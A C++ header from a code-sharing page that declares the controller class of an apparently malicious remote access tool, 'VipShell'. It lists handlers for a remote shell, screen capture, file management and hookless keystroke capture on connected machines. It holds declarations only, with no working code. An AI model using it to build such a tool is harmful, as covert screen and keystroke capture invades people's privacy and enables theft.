vipshellclientserver.h
来自「软件源代码,共享。有2个文件」· C头文件 代码 · 共 48 行
H
48 行
#pragma once
#include "..\vipshellinfo\threadbase.h"
#include ".\serverconnecthandle.h"
#include ".\servershellhandle.h"
#include ".\serverscreeninfohandle.h"
#include ".\servergetcappicture.h"
#include ".\serverfilemanagehandle.h"
#include ".\servergetkeynohookhandle.h"
#include <map>
struct tagServerHandle
{
DWORD dwServerType;
SOCKET s;
};class CVipShellClientServer : public CThreadBase
{
public:
CVipShellClientServer(void);
~CVipShellClientServer(void);
public:
virtual void OnNewThread(DWORD dwCreateMarker, DWORD dwThreadId, LPVOID lpParameter);
bool Create(DWORD dwPort);
bool Close();
public:
bool GetConnectHandle(CServerConnectHandle* hServer);
bool GetShellHandle(CServerShellHandle* hServer);
bool GetScreenInfoHandle(CServerScreenInfoHandle* hServer);
bool GetCapHandle(CServerGetCapPictureHandle* hServer);
bool GetCServerFileManageHandle(CServerFileManageHandle* hServer);
bool GetServerGetKeyNoHookHandle(CServerGetKeyNoHookHandle* hServer);
protected:
SOCKET _GetServer(DWORD dwType, LPVOID lp);
void _OnServerLink(SOCKET s);
void _WaitForConnect(DWORD dwThreadId);
void _AddServer(DWORD dwType, SOCKET s);
void _CopyServerSystemInfo(tagServerSystemInfo* p1, tagServerSystemInfo* p2);
protected:
std::vector<tagServerHandle> m_vecServer;
typedef std::map<SOCKET, tagServerSystemInfo> SERVERINFO_MAP;
SERVERINFO_MAP m_ServerMap;
typedef std::map<SOCKET, DWORD> SERVERSCREEN_MAP;
SERVERSCREEN_MAP m_ScreenMap;
CMyCriticalSection m_CriticalSectionServerVector;
CTcpServer m_hServer;
};
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?